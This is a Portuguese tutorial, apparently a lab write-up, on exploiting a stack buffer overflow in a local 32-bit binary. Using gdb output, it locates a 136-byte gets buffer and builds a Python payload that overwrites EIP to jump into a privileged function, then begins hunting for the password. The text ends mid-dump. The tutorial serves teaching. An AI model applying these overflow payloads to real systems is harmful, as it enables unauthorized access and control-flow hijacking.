Introdução
O Buffer Overflow basicamente ocorre quando o programador aloca um determinado tamanho de buffer para uma variável que irá receber uma entrada do usuário e é passado um valor maior do que foi definido, fazendo assim "transbordar" o buffer e sobrescrever outros endereços da memória.
Explorando o binário
Iremos agora analisar um binário para explorar, sem ter acesso ao código fonte.
Para começar, podemos tentar enviar 300 bytes para ver como que o programa se comporta.
$ python3 -c 'print("A" * 300)' | ./protegido
Entre com a senha: Acesso Negado
[1] 1319 done python3 -c 'print("A" * 300)' |
1320 segmentation fault ./protegido
Podemos já perceber que ocorre o "segmentation fault".
Vamos debugar o programa e exibir suas funções com o comando info functions (o parâmetro -q é para o gdb não exibir algumas informações iniciais).
gdb -q ./protegido
Reading symbols from ./protegido...
(No debugging symbols found in ./protegido)
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 strcmp@plt
0x00001040 printf@plt
0x00001050 gets@plt
0x00001060 puts@plt
0x00001070 system@plt
0x00001080 exit@plt
0x00001090 __libc_start_main@plt
0x000010a0 __cxa_finalize@plt
0x000010b0 _start
0x000010f0 __x86.get_pc_thunk.bx
0x00001100 deregister_tm_clones
0x00001140 register_tm_clones
0x00001190 __do_global_dtors_aux
0x000011e0 frame_dummy
0x000011e5 __x86.get_pc_thunk.dx
0x000011e9 verifica
0x00001293 acessa
0x000012d3 main
0x00001330 __libc_csu_init
0x00001390 __libc_csu_fini
0x00001391 __x86.get_pc_thunk.bp
0x00001398 _fini
Para colocarmos na sintaxe da intel, basta usar o comando set disassembly-flavor intel.
Precisamos agora rodar o programa com o comando run.
Se quisermos debugar a função main, basta utilizar
(gdb) disas main
Dump of assembler code for function main:
0x565562d3 <+0>: lea ecx,[esp+0x4]
0x565562d7 <+4>: and esp,0xfffffff0
0x565562da <+7>: push DWORD PTR [ecx-0x4]
0x565562dd <+10>: push ebp
0x565562de <+11>: mov ebp,esp
0x565562e0 <+13>: push ebx
0x565562e1 <+14>: push ecx
0x565562e2 <+15>: call 0x565560f0 <__x86.get_pc_thunk.bx>
0x565562e7 <+20>: add ebx,0x2d19
0x565562ed <+26>: mov eax,ecx
0x565562ef <+28>: cmp DWORD PTR [eax],0x1
0x565562f2 <+31>: jle 0x56556310 <main+61>
0x565562f4 <+33>: sub esp,0xc
0x565562f7 <+36>: lea eax,[ebx-0x1f9a]
0x565562fd <+42>: push eax
0x565562fe <+43>: call 0x56556060 <puts@plt>
0x56556303 <+48>: add esp,0x10
0x56556306 <+51>: sub esp,0xc
0x56556309 <+54>: push 0x1
0x5655630b <+56>: call 0x56556080 <exit@plt>
0x56556310 <+61>: call 0x565561e9 <verifica>
0x56556315 <+66>: mov eax,0x0
0x5655631a <+71>: lea esp,[ebp-0x8]
0x5655631d <+74>: pop ecx
0x5655631e <+75>: pop ebx
0x5655631f <+76>: pop ebp
0x56556320 <+77>: lea esp,[ecx-0x4]
0x56556323 <+80>: ret
End of assembler dump.
Podemos observar que o programa chama a função "verifica".
(gdb) disas verifica
Dump of assembler code for function verifica:
0x565561e9 <+0>: push ebp
0x565561ea <+1>: mov ebp,esp
0x565561ec <+3>: push ebx
0x565561ed <+4>: sub esp,0x84
0x565561f3 <+10>: call 0x565560f0 <__x86.get_pc_thunk.bx>
0x565561f8 <+15>: add ebx,0x2e08
0x565561fe <+21>: sub esp,0xc
0x56556201 <+24>: lea eax,[ebx-0x1ff8]
0x56556207 <+30>: push eax
0x56556208 <+31>: call 0x56556040 <printf@plt>
0x5655620d <+36>: add esp,0x10
0x56556210 <+39>: sub esp,0xc
0x56556213 <+42>: lea eax,[ebp-0x88]
0x56556219 <+48>: push eax
0x5655621a <+49>: call 0x56556050 <gets@plt>
0x5655621f <+54>: add esp,0x10
0x56556222 <+57>: sub esp,0x8
0x56556225 <+60>: lea eax,[ebx-0x1fe4]
0x5655622b <+66>: push eax
0x5655622c <+67>: lea eax,[ebp-0x88]
0x56556232 <+73>: push eax
0x56556233 <+74>: call 0x56556030 <strcmp@plt>
0x56556238 <+79>: add esp,0x10
0x5655623b <+82>: test eax,eax
0x5655623d <+84>: jne 0x56556253 <verifica+106>
0x5655623f <+86>: sub esp,0xc
0x56556242 <+89>: lea eax,[ebx-0x1fe0]
0x56556248 <+95>: push eax
0x56556249 <+96>: call 0x56556060 <puts@plt>
0x5655624e <+101>: add esp,0x10
0x56556251 <+104>: jmp 0x56556289 <verifica+160>
0x56556253 <+106>: sub esp,0x8
0x56556256 <+109>: lea eax,[ebx-0x1fc5]
0x5655625c <+115>: push eax
0x5655625d <+116>: lea eax,[ebp-0x88]
0x56556263 <+122>: push eax
0x56556264 <+123>: call 0x56556030 <strcmp@plt>
0x56556269 <+128>: add esp,0x10
0x5655626c <+131>: test eax,eax
0x5655626e <+133>: jne 0x56556277 <verifica+142>
0x56556270 <+135>: call 0x56556293 <acessa>
0x56556275 <+140>: jmp 0x56556289 <verifica+160>
0x56556277 <+142>: sub esp,0xc
0x5655627a <+145>: lea eax,[ebx-0x1fbb]
0x56556280 <+151>: push eax
Com isso, podemos colocar um breakpoint no endereço depois da entrada de dados do usuário, que é a função gets, para analisar melhor. (0x5655621f)
Setando o breakpoint
(gdb) b* 0x0000121f
Breakpoint 1 at 0x121f
Agora vamos enviar os dados para o programa utilizando o python
(gdb) run < <(python3 -c "print('A' * 200)")
Podemos ver os registradores com o comando i r
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0x0 0
esp 0xffffd220 0xffffd220
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0xf7fcc070 0xf7fcc070
eflags 0x200 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
Podemos também examinar a memória, olhando em hexadecimal o registrador esp.
(gdb) x/16xw $esp
0xffffd0c0: 0xffffd0d0 0xf7ffdb98 0xffffd144 0x565561f8
0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd100: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd110: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd120: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd130: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd140: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd150: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd160: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd170: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd180: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd190: 0x41414141 0x41414141 0xf7fc3400 0xf7fa2000
0xffffd1a0: 0x00000001 0x00000000 0xffffd208 0x00000000
0xffffd1b0: 0xf7ffd000 0x00000000 0x00000001 0x565560b0
Podemos observar que no endereço 0x56556213 da função verifica, é feito uma alocação de um espaço para um buffer de 0x88 que são 136 bytes. Com isso já facilita bastante para sabermos quantos bytes enviar corretamente.
$ python3 -c 'print(0x88)'
136
Enviando os bytes
(gdb) run < <(python3 -c 'print("A" * 136)')
Analisando os registradores, podemos ver que enviamos o suficiente para "quase" atingir o ebp e o eip.
(gdb) i r
eax 0xffffd0d0 -12080
ecx 0xf7fa2580 -134601344
edx 0xfbad2088 -72540024
ebx 0x56559000 1448448000
esp 0xffffd0c0 0xffffd0c0
ebp 0xffffd158 0xffffd158
esi 0x1 1
edi 0x565560b0 1448435888
eip 0x5655621f 0x5655621f <verifica+54>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/16xw $esp
0xffffd0c0: 0xffffd0d0 0xf7ffdb98 0xffffd144 0x565561f8
0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd100: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd110: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd120: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd130: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd140: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd150: 0x41414141 0x41414141 0xffffd100 0x56556315
0xffffd160: 0xffffd180 0x00000000 0x00000000 0xf7dd5905
0xffffd170: 0x00000001 0x565560b0 0x00000000 0xf7dd5905
(gdb) x/1xw $ebp
0xffffd158: 0xffffd100
Agora podemos enviar os 4 bytes do ebp e do eip
(gdb) run < <(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/bof/protegido < <(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')
Breakpoint 1, 0x5655621f in verifica ()
(gdb) i r
eax 0xffffd0d0 -12080
ecx 0xf7fa2580 -134601344
edx 0xfbad2088 -72540024
ebx 0x56559000 1448448000
esp 0xffffd0c0 0xffffd0c0
ebp 0xffffd158 0xffffd158
esi 0x1 1
edi 0x565560b0 1448435888
eip 0x5655621f 0x5655621f <verifica+54>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/16xw $esp
0xffffd0c0: 0xffffd0d0 0xf7ffdb98 0xffffd144 0x565561f8
0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd100: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd110: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd120: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd130: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd140: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd150: 0x41414141 0x41414141 0x42424242 0x43434343
0xffffd160: 0xffffd100 0x00000000 0x00000000 0xf7dd5905
0xffffd170: 0x00000001 0x565560b0 0x00000000 0xf7dd5905
(gdb)
Com isso, podemos chamar a função acessa (que possui o endereço 0x56556270) que fica dentro da função main. Em seguida podemos analisar a memória e verificar se o EIP está sobrescrito com a função, em seguida só precisamos continuar o programa com sua execução.
(gdb) run < <(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/bof/protegido < <(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')
Breakpoint 1, 0x5655621f in verifica ()
(gdb) x/16xw $esp
0xffffd0c0: 0xffffd0d0 0xf7ffdb98 0xffffd144 0x565561f8
0xffffd0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd0f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd100: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd110: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd120: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd130: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xffffd140: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd150: 0x41414141 0x41414141 0x42424242 0x56556270
0xffffd160: 0xffffd100 0x00000000 0x00000000 0xf7dd5905
0xffffd170: 0x00000001 0x565560b0 0x00000000 0xf7dd5905
(gdb) c
Continuing.
Entre com a senha: Acesso Negado
Bem vindo!
[Detaching after vfork from child process 2404]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)
Program received signal SIGSEGV, Segmentation fault.
0x5655628e in verifica ()
Truques no debugger
Se soubermos qual endereço que precisamos ir diretamente, podemos direcionar o programa para isso no debugger.
Se quisermos alterar o fluxo do programa, basta utilizarmos (o endereço 0x56556270 é da função verifica)
(gdb) set $eip = 0x56556270
(gdb) i r
eax 0xf7fa49e8 -134592024
ecx 0xffffd180 -11904
edx 0xffffd1b4 -11852
ebx 0x0 0
esp 0xffffd160 0xffffd160
ebp 0xffffd168 0xffffd168
esi 0x1 1
edi 0x565560b0 1448435888
eip 0x56556270 0x56556270 <verifica+135>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) c
Continuing.
Bem vindo!
[Detaching after vfork from child process 1644]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)
Agora, vamos tentar descobrir qual é a senha que o sistema está comparando. Antes da comparação, que é a função verifica, precisamos colocar um breakpoint para analisar a memória e tentarmos descobrir qual é a string que está sendo feito a comparação. Iremos utilizar o endereço 0x5655626e que fica antes da função verifica.
(gdb) b* 0x5655626e
Breakpoint 1 at 0x5655626e
The program has no registers now.
(gdb) run
Starting program: /home/user/Desktop/bof/protegido
Entre com a senha: 1
Breakpoint 1, 0x5655626e in verifica ()
(gdb) i r
eax 0xffffffff -1
ecx 0x70 112
edx 0xffffd0d0 -12080
ebx 0x56559000 1448448000
esp 0xffffd0d0 0xffffd0d0
ebp 0xffffd158 0xffffd158
esi 0x1 1
edi 0x565560b0 1448435888
eip 0x5655626e 0x5655626e <verifica+133>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/20s $eip
0x5655626e <verifica+133>: "u\a\350\036"
0x56556273 <verifica+138>: ""
0x56556274 <verifica+139>: ""
0x56556275 <verifica+140>: "\353\022\203\354\f\215\203E\340\377\377P\350\332\375\377\377\203\304\020\270
Last updated
Was this helpful?